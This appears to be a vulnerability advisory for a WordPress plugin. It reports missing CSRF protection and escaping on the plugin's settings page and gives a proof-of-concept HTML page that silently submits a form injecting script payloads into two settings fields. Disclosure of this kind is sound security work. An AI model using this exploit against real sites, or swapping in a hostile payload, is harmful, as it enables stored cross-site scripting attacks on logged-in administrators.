Description
The plugin does not have CSRF check in some places, and is missing
sanitisation as well as escaping, which could allow attackers to make
logged in admin add Stored XSS payloads via a CSRF attack
Proof of Concept
Have a logged in admin open a page containing:
<html>
<body>
<form action="http://example.com/wp-admin/admin.php?page=studio_settings"
method="POST">
<input type="hidden" name="studio_apikey"
value=""><script>alert(1)</script>" />
<input type="hidden" name="studio_url"
value=""><script>alert(1)</script>" />
<input type="hidden" name="save" value="Save!" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
